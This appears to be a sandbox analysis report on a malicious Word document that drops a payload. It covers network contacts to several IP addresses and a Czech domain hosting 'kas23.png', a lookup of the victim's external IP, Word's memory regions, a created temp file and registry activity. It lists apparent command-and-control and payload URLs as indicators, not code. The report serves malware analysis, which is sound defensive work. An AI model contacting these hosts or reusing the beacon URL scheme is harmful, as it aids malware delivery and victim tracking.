Word Doc. Drops Context Aware Payload | Grouped Behavior
Try VMRay Analyzer
URL Overview
Remarks
Critical The sample contacted only unknown URLs.
URL (5)
+
URL Connection Successful Reputation Status
89.231.13.38/kas23/AUFDDCNTXWT_W617601.2B0207B83DB3421BDB30AED0283B84A5/0/Windows 7 x64 SP1/1031/87.142.156.87/4E7D329059DDCB1E5EC37D3CBBDFA46E247E2279DF57EA2055D11096E05BBEDA/ChqJujn6xjr2PYFE7lelOT6D/ True
Unknown
212.38.166.20/kas23/AUFDDCNTXWT_W617601.2B0207B83DB3421BDB30AED0283B84A5/5/systeminfo64/ False
Unknown
www.events4u.cz/kas23.png True
Unknown
89.231.13.38/kas23/AUFDDCNTXWT_W617601.2B0207B83DB3421BDB30AED0283B84A5/5/spk/ True
Unknown
myexternalip.com/raw True
Unknown
Involved Hosts

Hostname IP Addresses Country City Protocols Has Blacklisted URL
www.events4u.cz 93.185.102.11 CZ HTTP, DNS, TCP False
myexternalip.com 78.47.139.102 DE HTTP, TCP False
89.231.13.38 PL HTTP, TCP False
212.38.166.20 GB HTTP, TCP False
Monitored Processes
Behavior Information - Grouped by Category
Process #1: winword.exe
(Host: 337, Network: 0)
+
Information Value
ID #1
File Name c:\program files\microsoft office\office15\winword.exe
Command Line "C:\Program Files\Microsoft Office\Office15\WINWORD.EXE"
Initial Working Directory C:\Users\aDU0VK IWA5kLS\Desktop\
Monitor Start Time: 00:00:20, Reason: Analysis Target
Unmonitor End Time: 00:02:26, Reason: Terminated by Timeout
Monitor Duration 00:02:06
OS Process Information
+
Information Value
PID 0x914
Parent PID 0x568 (c:\windows\explorer.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username AUFDDCNTXWT\aDU0VK IWA5kLS
Groups
  • AUFDDCNTXWT\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:000103d4 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 980
0x 97C
0x 978
0x 974
0x 970
0x 96C
0x 94C
0x 948
0x 944
0x 940
0x 93C
0x 918
0x 9CC
0x 9DC
0x A14
0x A80
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable False False False
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable False False False
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory Readable False False False
pagefile_0x0000000000040000 0x00040000 0x00043fff Pagefile Backed Memory Readable False False False
locale.nls 0x00050000 0x000b6fff Memory Mapped File Readable False False False
private_0x00000000000c0000 0x000c0000 0x000c0fff Private Memory Readable, Writable False False False
pagefile_0x00000000000d0000 0x000d0000 0x000d1fff Pagefile Backed Memory Readable False False False
pagefile_0x00000000000e0000 0x000e0000 0x000e1fff Pagefile Backed Memory Readable False False False
private_0x00000000000f0000 0x000f0000 0x000f0fff Private Memory Readable, Writable False False False
private_0x0000000000100000 0x00100000 0x00100fff Private Memory Readable, Writable False False False
private_0x0000000000110000 0x00110000 0x0011ffff Private Memory Readable, Writable False False False
private_0x0000000000120000 0x00120000 0x00150fff Private Memory Readable, Writable False False False
pagefile_0x0000000000160000 0x00160000 0x00161fff Pagefile Backed Memory Readable False False False
private_0x0000000000170000 0x00170000 0x0026ffff Private Memory Readable, Writable False False False
private_0x0000000000270000 0x00270000 0x0036ffff Private Memory Readable, Writable False False False
private_0x0000000000370000 0x00370000 0x0037ffff Private Memory False False False
pagefile_0x0000000000380000 0x00380000 0x00386fff Pagefile Backed Memory Readable False False False
private_0x0000000000390000 0x00390000 0x0039ffff Private Memory Readable, Writable False False False
pagefile_0x00000000003a0000 0x003a0000 0x003a1fff Pagefile Backed Memory Readable, Writable False False False
pagefile_0x00000000003b0000 0x003b0000 0x003b1fff Pagefile Backed Memory Readable False False False
pagefile_0x00000000003c0000 0x003c0000 0x003c1fff Pagefile Backed Memory Readable False False False
private_0x00000000003d0000 0x003d0000 0x003d0fff Private Memory Readable, Writable False False False
private_0x00000000003f0000 0x003f0000 0x003f0fff Private Memory Readable, Writable False False False
private_0x0000000000410000 0x00410000 0x00410fff Private Memory Readable, Writable False False False
private_0x0000000000430000 0x00430000 0x00430fff Private Memory Readable, Writable False False False
private_0x0000000000440000 0x00440000 0x0053ffff Private Memory Readable, Writable False False False
private_0x0000000000540000 0x00540000 0x0063ffff Private Memory Readable, Writable False False False
private_0x0000000000640000 0x00640000 0x0067ffff Private Memory Readable, Writable False False False
pagefile_0x0000000000680000 0x00680000 0x00680fff Pagefile Backed Memory Readable, Writable False False False
private_0x0000000000690000 0x00690000 0x0069ffff Private Memory Readable, Writable False False False
pagefile_0x00000000006a0000 0x006a0000 0x00827fff Pagefile Backed Memory Readable False False False
pagefile_0x0000000000830000 0x00830000 0x009b0fff Pagefile Backed Memory Readable False False False
pagefile_0x00000000009c0000 0x009c0000 0x01dbffff Pagefile Backed Memory Readable False False False
pagefile_0x0000000001dc0000 0x01dc0000 0x01e9efff Pagefile Backed Memory Readable False False False
private_0x0000000001ea0000 0x01ea0000 0x01ea0fff Private Memory Readable, Writable False False False
private_0x0000000001eb0000 0x01eb0000 0x01ebffff Private Memory Readable, Writable False False False
private_0x0000000001ed0000 0x01ed0000 0x01ed0fff Private Memory Readable, Writable False False False
private_0x0000000001ef0000 0x01ef0000 0x01ef0fff Private Memory Readable, Writable False False False
private_0x0000000001f10000 0x01f10000 0x01f10fff Private Memory Readable, Writable False False False
pagefile_0x0000000001f30000 0x01f30000 0x01f30fff Pagefile Backed Memory Readable False False False
pagefile_0x0000000001f40000 0x01f40000 0x01f44fff Pagefile Backed Memory Readable, Writable False False False
private_0x0000000001f50000 0x01f50000 0x01f50fff Private Memory Readable, Writable False False False
private_0x0000000001f60000 0x01f60000 0x01fdffff Private Memory Readable, Writable False False False
pagefile_0x0000000001fe0000 0x01fe0000 0x01fe1fff Pagefile Backed Memory Readable False False False
private_0x0000000001ff0000 0x01ff0000 0x01ffffff Private Memory Readable, Writable False False False
pagefile_0x0000000002000000 0x02000000 0x02000fff Pagefile Backed Memory Readable False False False
pagefile_0x0000000002010000 0x02010000 0x02010fff Pagefile Backed Memory Readable False False False
private_0x0000000002020000 0x02020000 0x0211ffff Private Memory Readable, Writable False False False
msxml6r.dll 0x02120000 0x02120fff Memory Mapped File Readable False False False
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000008.db 0x02130000 0x02156fff Memory Mapped File Readable False False False
private_0x0000000002160000 0x02160000 0x0225ffff Private Memory Readable, Writable False False False
pagefile_0x0000000002260000 0x02260000 0x02652fff Pagefile Backed Memory Readable False False False
sortdefault.nls 0x02660000 0x0292efff Memory Mapped File Readable False False False
private_0x0000000002930000 0x02930000 0x02930fff Private Memory Readable, Writable False False False
private_0x0000000002940000 0x02940000 0x02940fff Private Memory Readable, Writable False False False
private_0x0000000002960000 0x02960000 0x02960fff Private Memory Readable, Writable False False False
private_0x0000000002980000 0x02980000 0x02980fff Private Memory Readable, Writable False False False
private_0x00000000029a0000 0x029a0000 0x029a0fff Private Memory Readable, Writable False False False
private_0x0000000002a20000 0x02a20000 0x02a20fff Private Memory Readable, Writable False False False
pagefile_0x0000000002a30000 0x02a30000 0x02a30fff Pagefile Backed Memory Readable, Writable False False False
private_0x0000000002a40000 0x02a40000 0x02a40fff Private Memory Readable, Writable False False False
c_1255.nls 0x02a50000 0x02a60fff Memory Mapped File Readable False False False
private_0x0000000002a90000 0x02a90000 0x02b8ffff Private Memory Readable, Writable False False False
private_0x0000000002b90000 0x02b90000 0x02c8ffff Private Memory Readable, Writable False False False
kernelbase.dll.mui 0x02c90000 0x02d4ffff Memory Mapped File Readable, Writable False False False
private_0x0000000002d50000 0x02d50000 0x02e4ffff Private Memory Readable, Writable False False False
segoeui.ttf 0x02e50000 0x02ecefff Memory Mapped File Readable False False False
private_0x0000000002ee0000 0x02ee0000 0x02f5ffff Private Memory Readable, Writable False False False
private_0x0000000002f80000 0x02f80000 0x02f9efff Private Memory Readable, Writable False False False
private_0x0000000002fa0000 0x02fa0000 0x0309ffff Private Memory Readable, Writable False False False
pagefile_0x00000000030a0000 0x030a0000 0x0349ffff Pagefile Backed Memory Readable False False False
staticcache.dat 0x034a0000 0x03dcffff Memory Mapped File Readable False False False
private_0x0000000003dd0000 0x03dd0000 0x03ecffff Private Memory Readable, Writable False False False
seguisb.ttf 0x03ed0000 0x03f33fff Memory Mapped File Readable False False False
private_0x0000000003fb0000 0x03fb0000 0x03fbffff Private Memory Readable, Writable False False False
private_0x0000000003fc0000 0x03fc0000 0x040bffff Private Memory Readable, Writable False False False
private_0x0000000004160000 0x04160000 0x041dffff Private Memory Readable, Writable, Executable False False False
private_0x0000000004260000 0x04260000 0x0435ffff Private Memory Readable, Writable False False False
private_0x00000000043c0000 0x043c0000 0x043cffff Private Memory Readable, Writable False False False
private_0x00000000043d0000 0x043d0000 0x044cffff Private Memory Readable, Writable False False False
private_0x00000000045c0000 0x045c0000 0x045cffff Private Memory Readable, Writable False False False
pagefile_0x00000000045d0000 0x045d0000 0x04dcffff Pagefile Backed Memory Readable, Writable False False False
private_0x0000000004dd0000 0x04dd0000 0x04ecffff Private Memory Readable, Writable False False False
private_0x0000000004f30000 0x04f30000 0x0502ffff Private Memory Readable, Writable False False False
private_0x0000000005030000 0x05030000 0x0522ffff Private Memory Readable, Writable False False False
private_0x0000000005270000 0x05270000 0x0536ffff Private Memory Readable, Writable False False False
private_0x00000000054f0000 0x054f0000 0x055effff Private Memory Readable, Writable False False False
pagefile_0x00000000055f0000 0x055f0000 0x065effff Pagefile Backed Memory Readable, Writable False False False
private_0x00000000066d0000 0x066d0000 0x0674ffff Private Memory Readable, Writable False False False
private_0x00000000067d0000 0x067d0000 0x0684ffff Private Memory Readable, Writable False False False
private_0x0000000006930000 0x06930000 0x069affff Private Memory Readable, Writable False False False
private_0x00000000069b0000 0x069b0000 0x06daffff Private Memory Readable, Writable False False False
private_0x0000000006db0000 0x06db0000 0x071affff Private Memory Readable, Writable False False False
private_0x00000000071b0000 0x071b0000 0x079affff Private Memory Readable, Writable False False False
private_0x00000000079b0000 0x079b0000 0x07db0fff Private Memory Readable, Writable False False False
private_0x0000000007dc0000 0x07dc0000 0x081c0fff Private Memory Readable, Writable False False False
private_0x00000000081d0000 0x081d0000 0x085d0fff Private Memory Readable, Writable False False False
private_0x00000000085e0000 0x085e0000 0x087dffff Private Memory Readable, Writable False False False
pagefile_0x00000000087e0000 0x087e0000 0x08fdffff Pagefile Backed Memory Readable, Writable False False False
private_0x0000000008fe0000 0x08fe0000 0x0949ffff Private Memory Readable, Writable False False False
private_0x00000000094a0000 0x094a0000 0x0989ffff Private Memory Readable, Writable False False False
private_0x0000000037440000 0x37440000 0x3744ffff Private Memory Readable, Writable, Executable False False False
msvcp100.dll 0x73d80000 0x73e17fff Memory Mapped File Readable, Writable, Executable False False False
msvcr100.dll 0x73e20000 0x73ef1fff Memory Mapped File Readable, Writable, Executable False False False
osppc.dll 0x74be0000 0x74c12fff Memory Mapped File Readable, Writable, Executable False False False
kernel32.dll 0x77320000 0x7743efff Memory Mapped File Readable, Writable, Executable False False False
user32.dll 0x77440000 0x77539fff Memory Mapped File Readable, Writable, Executable False False False
ntdll.dll 0x77540000 0x776e8fff Memory Mapped File Readable, Writable, Executable False False False
psapi.dll 0x77710000 0x77716fff Memory Mapped File Readable, Writable, Executable False False False
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable False False False
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable False False False
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable False False False
winword.exe 0x13f200000 0x13f3d7fff Memory Mapped File Readable, Writable, Executable False False False
private_0x000007febef30000 0x7febef30000 0x7febef3ffff Private Memory Readable, Writable, Executable False False False
riched20.dll 0x7fee90a0000 0x7fee92c2fff Memory Mapped File Readable, Writable, Executable False False False
dwrite.dll 0x7fee9510000 0x7fee968dfff Memory Mapped File Readable, Writable, Executable False False False
msores.dll 0x7fee9690000 0x7feee37afff Memory Mapped File Readable, Writable, Executable False False False
mso.dll 0x7feee380000 0x7fef0630fff Memory Mapped File Readable, Writable, Executable False False False
wwlib.dll 0x7fef0640000 0x7fef20befff Memory Mapped File Readable, Writable, Executable False False False
adal.dll 0x7fef20f0000 0x7fef21c8fff Memory Mapped File Readable, Writable, Executable False False False
d3d10warp.dll 0x7fef21d0000 0x7fef239ffff Memory Mapped File Readable, Writable, Executable False False False
msointl.dll 0x7fef23a0000 0x7fef2716fff Memory Mapped File Readable, Writable, Executable False False False
oart.dll 0x7fef2720000 0x7fef3b33fff Memory Mapped File Readable, Writable, Executable False False False
mscoreei.dll 0x7fef3d20000 0x7fef3db8fff Memory Mapped File Readable, Writable, Executable False False False
d3d11.dll 0x7fef3dc0000 0x7fef3e85fff Memory Mapped File Readable, Writable, Executable False False False
msptls.dll 0x7fef3e90000 0x7fef4005fff Memory Mapped File Readable, Writable, Executable False False False
d2d1.dll 0x7fef4010000 0x7fef40f1fff Memory Mapped File Readable, Writable, Executable False False False
msohev.dll 0x7fef4280000 0x7fef429bfff Memory Mapped File Readable, Writable, Executable False False False
mscoree.dll 0x7fef42a0000 0x7fef430efff Memory Mapped File Readable, Writable, Executable False False False
wwintl.dll 0x7fef4310000 0x7fef43e3fff Memory Mapped File Readable, Writable, Executable False False False
msimg32.dll 0x7fef43f0000 0x7fef43f6fff Memory Mapped File Readable, Writable, Executable False False False
msxml6.dll 0x7fef79d0000 0x7fef7bc1fff Memory Mapped File Readable, Writable, Executable False False False
winspool.drv 0x7fef7c60000 0x7fef7cd0fff Memory Mapped File Readable, Writable, Executable False False False
office.odf 0x7fef94a0000 0x7fef999ffff Memory Mapped File Readable, Writable, Executable False False False
msi.dll 0x7fef99a0000 0x7fef9cb5fff Memory Mapped File Readable, Writable, Executable False False False
dxgi.dll 0x7fefa130000 0x7fefa1d6fff Memory Mapped File Readable, Writable, Executable False False False
d3d10_1core.dll 0x7fefa1e0000 0x7fefa234fff Memory Mapped File Readable, Writable, Executable False False False
d3d10_1.dll 0x7fefa240000 0x7fefa273fff Memory Mapped File Readable, Writable, Executable False False False
webio.dll 0x7fefa500000 0x7fefa563fff Memory Mapped File Readable, Writable, Executable False False False
winhttp.dll 0x7fefa570000 0x7fefa5e0fff Memory Mapped File Readable, Writable, Executable False False False
windowscodecs.dll 0x7fefad90000 0x7fefaeb9fff Memory Mapped File Readable, Writable, Executable False False False
dwmapi.dll 0x7fefaec0000 0x7fefaed7fff Memory Mapped File Readable, Writable, Executable False False False
gdiplus.dll 0x7fefb080000 0x7fefb294fff Memory Mapped File Readable, Writable, Executable False False False
uxtheme.dll 0x7fefb2a0000 0x7fefb2f5fff Memory Mapped File Readable, Writable, Executable False False False
wtsapi32.dll 0x7fefb950000 0x7fefb960fff Memory Mapped File Readable, Writable, Executable False False False
ntmarta.dll 0x7fefbde0000 0x7fefbe0cfff Memory Mapped File Readable, Writable, Executable False False False
propsys.dll 0x7fefbe40000 0x7fefbf6bfff Memory Mapped File Readable, Writable, Executable False False False
comctl32.dll 0x7fefbfc0000 0x7fefc1b3fff Memory Mapped File Readable, Writable, Executable False False False
version.dll 0x7fefc650000 0x7fefc65bfff Memory Mapped File Readable, Writable, Executable False False False
rsaenh.dll 0x7fefca60000 0x7fefcaa6fff Memory Mapped File Readable, Writable, Executable False False False
For performance reasons, the remaining 200 entries are omitted.
The remaining entries can be found in flog.txt.
Created Files
+
Filename File Size Hash Values YARA Match Actions
c:\users\adu0vk~1\appdata\local\temp\~dfd532346fbcb353e3.tmp 0.50 KB (512 bytes) MD5: bf619eac0cdf3f68d496ea9344137e8b
SHA1: 5c3eb80066420002bc3dcc7ca4ab6efad7ed4ae5
SHA256: 076a27c79e5ace2a3d47f9dd2e83e4ff6ea8872b3c2218f66c92b89b55f36560
False
Host Behavior
COM (1)
+
Operation Class Interface Additional Information Success Count Logfile
Create C62A69F0-16DC-11CE-9E98-00AA00574A4F 00000001-0000-0000-C000-000000000046 cls_context = CLSCTX_INPROC_SERVER, CLSCTX_INPROC_HANDLER True 1
Fn
Registry (126)
+
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CLASSES_ROOT\Licenses True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046} True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6 True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6\409 False 2
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6\9 False 2
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6\0 True 2
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6\0\win64 True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib True 2
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046} True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0 True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0 True 2
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win64 True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.7 True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.7\0 True 2
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.7\0\win64 True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib True 5
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{000204EF-0000-0000-C000-000000000046} True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{000204EF-0000-0000-C000-000000000046}\4.2 True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{000204EF-0000-0000-C000-000000000046}\4.2\9 True 2
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{000204EF-0000-0000-C000-000000000046}\4.2\9\win64 True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046} True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6 True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6\0 True 2
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6\0\win64 True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046} True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0 True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0 True 2
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win64 True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.7 True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.7\0 True 2
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.7\0\win64 True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{0D452EE1-E08F-101A-852E-02608C4D0BB4} True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{0D452EE1-E08F-101A-852E-02608C4D0BB4}\2.0 True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{0D452EE1-E08F-101A-852E-02608C4D0BB4}\2.0\0 True 2
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{0D452EE1-E08F-101A-852E-02608C4D0BB4}\2.0\0\win64 True 1
Fn
Open Key HKEY_CLASSES_ROOT\CLSID\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\DesignerFeatures False 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\InprocServer32 True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046} True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6 True 1
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6\0 True 2
Fn
Open Key HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6\0\win64 True 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{82B02373-B5BC-11CF-810F-00A0C9030074} True 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{82B02373-B5BC-11CF-810F-00A0C9030074}\Control False 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{82B02373-B5BC-11CF-810F-00A0C9030074}\Insertable False 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{82B02374-B5BC-11CF-810F-00A0C9030074} True 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{82B02374-B5BC-11CF-810F-00A0C9030074}\Control False 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{82B02374-B5BC-11CF-810F-00A0C9030074}\Insertable False 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{82B02375-B5BC-11CF-810F-00A0C9030074} True 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{82B02375-B5BC-11CF-810F-00A0C9030074}\Control False 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{82B02375-B5BC-11CF-810F-00A0C9030074}\Insertable False 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{8A683C92-BA84-11CF-8110-00A0C9030074} True 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{8A683C92-BA84-11CF-8110-00A0C9030074}\Control False 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{8A683C92-BA84-11CF-8110-00A0C9030074}\Insertable False 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{8A683C93-BA84-11CF-8110-00A0C9030074} True 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{8A683C93-BA84-11CF-8110-00A0C9030074}\Control False 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{8A683C93-BA84-11CF-8110-00A0C9030074}\Insertable False 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{1C3B4210-F441-11CE-B9EA-00AA006B1A69} True 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{1C3B4210-F441-11CE-B9EA-00AA006B1A69}\Control False 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{1C3B4210-F441-11CE-B9EA-00AA006B1A69}\Insertable False 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{909E0AE0-16DC-11CE-9E98-00AA00574A4F} True 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{909E0AE0-16DC-11CE-9E98-00AA00574A4F}\Control False 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{909E0AE0-16DC-11CE-9E98-00AA00574A4F}\Insertable False 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{AFC20920-DA4E-11CE-B943-00AA006887B4} True 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{AFC20920-DA4E-11CE-B943-00AA006887B4}\Control False 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{AFC20920-DA4E-11CE-B943-00AA006887B4}\Insertable False 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{5CEF5610-713D-11CE-80C9-00AA00611080} True 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{5CEF5610-713D-11CE-80C9-00AA00611080}\Control False 1
Fn
Open Key HKEY_CLASSES_ROOT\Clsid\{5CEF5610-713D-11CE-80C9-00AA00611080}\Insertable False 1
Fn
Read Value HKEY_CLASSES_ROOT\Licenses\8804558B-B773-11d1-BC3E-0000F87552E7 data = } False 1
Fn
Read Value HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046}\8.6\0\win64 data = C:\Program Files\Microsoft Office\Office15\MSWORD.OLB True 3
Fn
Read Value HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win64 data = C:\Windows\system32\stdole2.tlb True 2
Fn
Read Value HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}\2.7\0\win64 data = C:\Program Files\Common Files\Microsoft Shared\OFFICE15\MSO.DLL True 2
Fn
Read Value HKEY_CLASSES_ROOT\TypeLib\{000204EF-0000-0000-C000-000000000046}\4.2\9\win64 data = C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA7.1\VBE7.DLL True 1
Fn
Read Value HKEY_CLASSES_ROOT\TypeLib\{0D452EE1-E08F-101A-852E-02608C4D0BB4}\2.0\0\win64 data = C:\Windows\system32\FM20.DLL True 1
Fn
Read Value HKEY_CLASSES_ROOT\Clsid\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\InprocServer32 value_name = ThreadingModel, data = 65 True 1
Fn
Read Value HKEY_CLASSES_ROOT\Clsid\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\Instance CLSID data = {C62A69F0-16DC-11CE-9E98-00AA00574A4F} False 6
Fn
Write Value value_name = PropertiesWindow, data = 4 24 180 720 1, size = 15, type = REG_SZ True 1
Fn
Write Value value_name = MainWindow, data = 0 0 0 0 1, size = 10, type = REG_SZ True 1
Fn
Write Value value_name = MdiMaximized, data = 0, size = 2, type = REG_SZ True 1
Fn
Write Value value_name = FolderView, data = 1, size = 2, type = REG_SZ True 1
Fn
Write Value value_name = Tool, size = 24, type = REG_BINARY True 1
Fn
Data
Write Value value_name = CtlsShowSelected, data = 0, size = 2, type = REG_SZ True 1
Fn
Write Value value_name = DsnShowSelected, data = 0, size = 2, type = REG_SZ True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046} True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046} True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046} True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{000204EF-0000-0000-C000-000000000046} True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{000204EF-0000-0000-C000-000000000046} True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046} True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046} True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{00020430-0000-0000-C000-000000000046} True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52} True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{0D452EE1-E08F-101A-852E-02608C4D0BB4} True 1
Fn
Enumerate Keys HKEY_CLASSES_ROOT\TypeLib\{00020905-0000-0000-C000-000000000046} True 1
Fn
Process (1)
+
Operation Process Additional Information Success Count Logfile
